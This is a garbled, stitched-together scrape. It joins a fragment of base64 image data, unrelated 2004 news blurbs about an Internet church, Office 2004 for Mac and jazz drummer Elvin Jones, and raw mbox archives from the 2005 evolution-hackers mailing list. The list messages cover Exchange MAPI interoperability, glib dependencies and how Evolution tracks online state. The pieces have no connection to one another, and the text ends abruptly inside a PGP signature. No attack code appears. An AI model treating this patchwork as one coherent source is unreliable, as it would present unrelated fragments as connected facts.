fo7OFBPo7pwjhK7mPnl86NYMJL6s6B7c6FSSFJI+6ZRe6ZZ+6Zie6Zq+6Tfh6J7+6aAe6qI+6qRe 6qZ+6qie6qq+6qze6q7+6rAe67I+67Re67Z+67ie67q+67ze677+68Ae7MI+7MRe7MZ+7Mie7Mq+ 7Mze7M7+7NAe7dI+7dRe7daO6wEBADs= ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0--

 

 

The world's first Internet church has fallen victim to a plague of virtual demons, some of whom have been logging on as Satan and unleashing strings of expletives during sermons.

Office 2004 for Mac, which goes on sale today in Standard and Student/Teacher editions, is Microsoft's best effort yet to let everyone from Mac-centric corporate suits to students create documents, crunch numbers and design presentations that can be exchanged with folks in the Windows world. Beyond that, Office 2004 includes powerful new collaboration features that let teams work more productively – if they're all using Macs. Digital cameras with the power to develop a picture as big as beach towel may attract attention, but it's better to look for more-practical camera features that meet everyday needs.

As if vegetables weren't already healthy enough, UK scientists have found a way to add heart-healthy fatty acids to plants.

A sneak peek at an upcoming e-mail client by PalmSource and next version of Blackberry Enterprise Server cap the announcement between the two companies.Elvin Ray Jones, a renowned jazz drummer and member of John Coltrane's quartet who also played alongside Duke Ellington, Charlie Parker and Miles Davis, died Tuesday. He was 76. Jones died of heart failure in an Englewood, N.J., hospital, said his wife of 38 years, Keiko Jones

VeriSign loses a skirmish in its antitrust claim against the Internet's governing body.The chipmaker pads its offerings for 2P and 4P platforms with an eye to the future.

Stocks rose on Wednesday, with the Standard & Poor's 500 index (.SPX) on track to end at its highest in nearly two weeks, as strong quarterly results from Hewlett-Packard Co. (HPQ.N) and Applied Materials Inc. (AMAT.O) fueled a buying spree.

no

From Anders.Naslund@connecta.se Wed Feb 2 03:41:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 22982124363; Wed, 2 Feb 2005 03:41:56 -0500 (EST) Received: from ns1.connecta.se (ns1.connecta.se [217.13.248.36]) by lists.ximian.com (Postfix) with SMTP id 8EF0012441C for ; Wed, 2 Feb 2005 03:41:52 -0500 (EST) Received: (qmail 15153 invoked from network); 2 Feb 2005 08:41:49 -0000 Received: from stomail.connecta.se (192.168.1.11) by ns1.connecta.se with SMTP; 2 Feb 2005 08:41:49 -0000 x-fsavag4mse-ts: 3d1f37c38ba67e0 Received: from 192.168.91.114 ([192.168.91.114]) by stomail.connecta.se ([192.168.1.11]) with Microsoft Exchange Server HTTP-DAV ; Wed, 2 Feb 2005 08:41:51 +0000 Received: from localhost by outlook.connecta.se; 02 Feb 2005 09:41:18 +0100 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverseengineeringunderway (MAPI, Nspi) From: , "Anders" To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 In-Reply-To: <1107332366.19114.24.camel@omc-3> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> <1107332366.19114.24.camel@omc-3> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 09:41:18 +0100 Message-ID: <1107333678.5793.3.camel@localhost> MIME-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ons 2005-02-02 klockan 09:19 +0100 skrev Jules Colding: > On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > > Well not MAPI itself, but > > > the CORBA wrapper for MAPI (www.omesc.com). > > > > ooooooo :) > > > > let's find OUT! > > > > what i am looking for is a similarity between the functions i'm > > implementing and something in brutus... [snip] > > i'm hoping to understand enough of this stuff at some point > > in order to be able to have a hope of blatting a few pieces > > from some of the plethora of projects around... > > It does indeed seem that you already do understand quite a bit ;-) > ..and those of us that doesn't...follow this tread with great interest, trying to be enlightened! :-) /A > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 06:01:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 354F61240CC; Tue, 1 Feb 2005 06:01:01 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA04712482C for ; Tue, 1 Feb 2005 06:00:49 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1F40C63DC8; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 1804563309 for ; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Received: (qmail 18871 invoked from network); 1 Feb 2005 10:56:43 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 1 Feb 2005 10:56:43 -0000 From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= Cc: Jayant Balraj Madavi , JP Rosevear , evolution In-Reply-To: <41FE3664.5030401@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 10:49:42 +0000 Message-Id: <1107254982.12881.18.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-16.0 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Frank, On Mon, 2005-01-31 at 15:45 +0200, Frank Schönheit wrote: > According to Heiner Rechtien: No way. His points are > - we're developing C++, not C, so what do you need from this lib what > isn't (semantically equivalent) available elsewhere? The glib api is part of the e-d-s API - however, it is the stable part. > - glib has just recently been removed - the only thing still depending > on it is the Gnome integrator. RE would be quite unhappy with > re-introducing it. Well - they need it for the gtk+/vcl backend on Linux & Solaris - so ... it has to be there for the same platforms we want to build this code on. > - This would create yet another "version hell", if we'd do this. Not really; glib (in stark contrast to e-d-s) is extremely stable at both the API and ABI level - and has been since March 2002 when it was released - approaching 3 years ago. > So I fear we need to find another solution :( > What kind of code do you need from glib? Well; we call ~another g_object type 10 methods. Of course we can grab these in the same way via dlopen - but since that is not even slightly pleasant or useful for us, it'd be best if Sun engineering do that I think - I'll have a poke at MHU first though. Anyhow - I'm not eager to do that personally; however - the EApi code is in-place to let that be done fairly easily. I suggest we make it easy to disable the evoution2.0 integration, and have it default disabled in the build until such time as you want it built & can be bothered to do this extra, unpleasant work. Regards, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From jpr@novell.com Wed Feb 2 08:55:40 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D775C125009; Wed, 2 Feb 2005 08:55:40 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 86EF812488A for ; Wed, 2 Feb 2005 08:55:37 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 02 Feb 2005 06:55:32 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Not Zed Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:55:29 -0500 Message-Id: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Why? Really there should be a desktop wide setting for online/offline that is either a gconf key or arrives via DBUS. If we rely on evolution to inform e-d-s, anything else using e-d-s externally may cause online operations. It does suck that evolution is the only place to set the key right now. -JP -- JP Rosevear From luis.villa@gmail.com Wed Feb 2 09:02:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0BC1C1241A9; Wed, 2 Feb 2005 09:02:10 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by lists.ximian.com (Postfix) with ESMTP id C64991242BB for ; Wed, 2 Feb 2005 09:02:06 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 67so43567wri for ; Wed, 02 Feb 2005 06:02:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KYUujH9Co/NZTsfabJ/xy0UXf1iUVrNS/B+TVD82OXrgQ0AGNUYYRjH1WMN4YpgUKWXIgiH0i6/AZFB4bNLwtLQ2HBRPUe1RtDS6XV+d5qFI1fC9YVOTT8kV7GCuzS3fUjWCI/KqmnvtnXORjJPE9PSySqrNJYVkujiv6akH5r4= Received: by 10.54.6.74 with SMTP id 74mr21669wrf; Wed, 02 Feb 2005 06:02:06 -0800 (PST) Received: by 10.54.48.64 with HTTP; Wed, 2 Feb 2005 06:02:06 -0800 (PST) Message-ID: <2cb10c44050202060263f578ce@mail.gmail.com> Date: Wed, 2 Feb 2005 09:02:06 -0500 From: Luis Villa Reply-To: Luis Villa To: JP Rosevear Subject: Re: [Evolution-hackers] how to know whether evolution is online Cc: Not Zed , Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 02 Feb 2005 08:55:29 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. There has been discussion of having networkmanager provide such a thing, but since that really only works on Fedora ATM, it hasn't gone very far. Luis From stephane@cs.york.ac.uk Wed Feb 2 09:04:34 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7AE9E12439C; Wed, 2 Feb 2005 09:04:34 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4F72D124358 for ; Wed, 2 Feb 2005 09:04:31 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1CwL3K-00062C-DJ; Wed, 02 Feb 2005 14:00:18 +0000 Received: from pc153.cs.york.ac.uk ([144.32.41.154] ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1CwL3K-0002Ew-9D; Wed, 02 Feb 2005 14:00:18 +0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: JP Rosevear Cc: Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-rm/cZ9sqxonSGnkDhG73" Organization: Computer Science, The University of York Date: Wed, 02 Feb 2005 14:00:17 +0000 Message-Id: <1107352817.5969.3.camel@pc153> Mime-Version: 1.0 X-Mailer: Evolution 2.0.0 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-rm/cZ9sqxonSGnkDhG73 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Le mardi 01 f=C3=A9vrier 2005 =C3=A0 08:11 -0500, JP Rosevear a =C3=A9crit = : >=20 > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? >=20 > -JP Sorry but which one is that key? All I can find is this: /schemas/apps/evolution/shell/start_offline and this is not updated by the "offline/online button" Regards --=20 St=C3=A9phane Konstantaropoulos - Research Student, Computer Science -- University of York, http://www-users.cs.york.ac.uk/~stephane --=-rm/cZ9sqxonSGnkDhG73 Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCANzxsZFoeToEeG4RApCJAJ9OqxC/hh4zpyna2yRW4kWmHbHhggCfT8nv 5Rv1nqeb6fKzpEdjsSCeBfc= =WrM+ -----END PGP SIGNATURE----- --=-rm/cZ9sqxonSGnkDhG73-- From notzed@ximian.com Wed Feb 2 09:48:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 181D4124741; Wed, 2 Feb 2005 09:48:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0A37C124570 for ; Wed, 2 Feb 2005 09:48:32 -0500 (EST) Received: (qmail 21342 invoked from network); 2 Feb 2005 14:48:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 14:48:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-syKyYvBR7NqTnejbcyU5" Date: Wed, 02 Feb 2005 22:43:31 +0800 Message-Id: <1107355411.9862.90.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. Because its a bad, naive solution. There is no way to do any cross-process synchronisation, or manage the change in state in any sane way. Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly. --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: 
On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote:
> On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
> > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> > > 
> > > > Isn't there a gconf key that determines the state?  Or does that just
> > > > determine the startup state?
> > > 
> > > The current state is stored in gconf, but it is NOT the appropriate
> > > way to determine when it changes.
> > > 
> > > It is private data used by the shell only.
> > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
> > switch between online/offline modes.
> 
> Umm, thats pretty shitty then isn't it?

Why?  Really there should be a desktop wide setting for online/offline
that is either a gconf key or arrives via DBUS.  If we rely on evolution
to inform e-d-s, anything else using e-d-s externally may cause online
operations.  It does suck that evolution is the only place to set the
key right now.

Because its a bad, naive solution.

There is no way to do any cross-process synchronisation, or manage the change in state in any sane way.

Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly.


--=-syKyYvBR7NqTnejbcyU5-- From pcolijn@gmail.com Wed Feb 2 16:24:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7767712506B; Wed, 2 Feb 2005 16:24:09 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by lists.ximian.com (Postfix) with ESMTP id DD64E12441F for ; Wed, 2 Feb 2005 16:23:57 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so120644wri for ; Wed, 02 Feb 2005 13:23:57 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=GPnpzpRI4RqU7FNqHDeL9fZX318mdsIoVY7EzJLgAIXK+/0CRouMbSBXkJMj0HrVjR9ksoit0OS8bo5jbx9yuZ/+V/YEw/hoIfKntWYvXSzY+3NBQDgRCjNqReCVYdDJy0owHBwFyFR5jsT55ivpJQssIfpa+N504iaJbeuCIO8= Received: by 10.54.28.80 with SMTP id b80mr200839wrb; Wed, 02 Feb 2005 13:22:45 -0800 (PST) Received: by 10.54.54.67 with HTTP; Wed, 2 Feb 2005 13:22:43 -0800 (PST) Message-ID: <7c35b00e050202132272ff306d@mail.gmail.com> Date: Wed, 2 Feb 2005 13:22:43 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton , evolution-hackers Subject: Fwd: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) In-Reply-To: <7c35b00e0502021321607b5bcb@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> <200502021555.23422.nocksj@sourcextreme.com> <7c35b00e0502021321607b5bcb@mail.gmail.com> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Meant to send this to the list as well. ---------- Forwarded message ---------- From: Peter Colijn Date: Wed, 2 Feb 2005 13:21:36 -0800 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) To: Jason Nocks Hi, On Wed, 2 Feb 2005 15:55:15 -0500, Jason Nocks wrote: > Yes, sounds very promising. > > This library relies on WvStreams, yes? Any other dependencies? Once upon a time WvMapi used to depend on glib as well, for some string-escaping functions. That dependenecy was removed, but the version currently available at open.nit.ca might still depend on glib. If you email evo-exchangeit-dev@lists.nit.ca somebody could probably help you out getting a more recent copy of WvMapi. Have fun, Peter From koke@amedias.org Wed Feb 2 16:36:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 99201124236; Wed, 2 Feb 2005 16:36:46 -0500 (EST) Received: from relay.unizar.es (relay.unizar.es [155.210.11.72]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D941D1244B7; Wed, 2 Feb 2005 16:36:31 -0500 (EST) Received: from ababol (adsl229-164.unizar.es [155.210.229.164]) by relay.unizar.es (8.12.6/8.12.3) with ESMTP id j12LaEko008431; Wed, 2 Feb 2005 22:36:15 +0100 Received: by ababol (Postfix, from userid 1000) id C6FFC2C31F; Wed, 2 Feb 2005 08:02:53 +0100 (CET) From: Jorge Bernal To: Not Zed Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) Date: Wed, 2 Feb 2005 08:02:51 +0100 User-Agent: KMail/1.7.2 Cc: evolution-hackers@lists.ximian.com, evolution-patches References: <200501241907.02376.koke@amedias.org> <200501312053.36697.koke@amedias.org> <1107313276.9865.51.camel@lostzed.mmc.com.au> In-Reply-To: <1107313276.9865.51.camel@lostzed.mmc.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502020802.53023.koke@amedias.org> X-Mail-Scanned: Criba 2.0 + Clamd en Unizar X-Spam-Status: No, hits=-18.8 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: El Mi=E9rcoles 02 Febrero 2005 04:01, Not Zed escribi=F3: > I followed up on the bug yesterday. While fixing another bug, I > noticed that the error code really is only for system i/o errors - and > yet, in all other cases system errors do not contain this extra detail > at all. So I simply removed the specific errors and use the generic > 'execution failed' + strerror one. This is to help save the translators > some work, since the info was quite redundant anyway. > > So, sorry about having to discard your patch, but I think the new > solution is a lot simpler/cleaner and suitable in the long run. > No problem at all, I think it's a better solution :) =2D-=20 Jorge Bernal "Koke" Personal: koke@sindominio.net Jabber: koke@zgzjabber.ath.cx Blog: http://www.amedias.org/koke/ "Computer Science is no more about computers than astronomy is about=20 telescopes." - Edsger Dijkstra From nocksj@sourcextreme.com Wed Feb 2 15:45:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 75B131241AE; Wed, 2 Feb 2005 15:45:36 -0500 (EST) Received: from darkstar.nocks.com (dsl-207-245-69-6.cust.oldcity.dca.net [207.245.69.6]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A58AC124453 for ; Wed, 2 Feb 2005 15:45:24 -0500 (EST) Received: from dsl-207-245-69-126.cust.oldcity.dca.net ([207.245.69.126] helo=[192.168.1.105]) by darkstar.nocks.com with asmtp (TLS-1.0:RSA_ARCFOUR_MD5:16) (Exim 4.34) id 1CwRCw-0001So-5P; Wed, 02 Feb 2005 15:34:38 -0500 From: Jason Nocks Organization: SourceXtreme, Inc. To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Date: Wed, 2 Feb 2005 15:55:15 -0500 User-Agent: KMail/1.7.1 Cc: Peter Colijn , evolution-hackers@lists.ximian.com References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> In-Reply-To: <20050202114327.GJ15458@lkcl.net> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2248404.zFpTrKgvHN"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502021555.23422.nocksj@sourcextreme.com> X-Spam-Status: No, hits=-33.2 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --nextPart2248404.zFpTrKgvHN Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Wednesday 02 February 2005 06:43 am, Luke Kenneth Casson Leighton wrote: > On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > > Yeah, there are a lot of TNEF parsers :) > > > > As far as I know, WvMapi is one of the rare libraries that can > > actually encode TNEFs for you, as well as extracting data from them. > > oooooo goooood. Yes, sounds very promising. This library relies on WvStreams, yes? Any other dependencies? Cheers, Jason Nocks --nextPart2248404.zFpTrKgvHN Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 